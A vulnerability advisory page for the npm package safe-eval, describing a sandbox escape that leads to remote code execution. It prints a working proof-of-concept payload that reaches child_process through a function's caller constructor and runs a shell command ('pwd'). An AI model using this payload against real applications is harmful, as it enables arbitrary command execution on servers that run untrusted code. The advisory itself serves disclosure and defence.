# GHSA-9pcf-h8q9-63f6: Sandbox Breakout / Arbitrary Code Execution in safe-eval

- Severity: High (rating, scored by GitHub)
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2020-09-03T17:12:41.000Z
- Modified: 2020-08-31T18:44:49.000Z

## Description

All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.  

For example, the payload 
```
((() => { 
const targetKey = Object.keys(this)[0]; 
Object.defineProperty(this, targetKey, { 
get: function() { 
return arguments.callee.caller.constructor( 
"return global.process.mainModule.require('child_process').execSync('pwd').toString()" 
)(); 
} 
}); 
})();```
may be used to print the `pwd` to the console.


## Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

(As written by GitHub Advisory Database.)

## Affected

- safe-eval (npm): from 0.0.0

## References

- <https://www.npmjs.com/advisories/1033> (web)

## Sources

- GitHub Advisory Database: [GHSA-9pcf-h8q9-63f6](https://github.com/advisories/GHSA-9pcf-h8q9-63f6), CC-BY-4.0, modified 2020-08-31

---

Page: https://cve.day/GHSA-9pcf-h8q9-63f6 · Whole record: https://cve.day/GHSA-9pcf-h8q9-63f6.json · Rebuilt by cve.day 2026-11-25T22:56:44.948Z
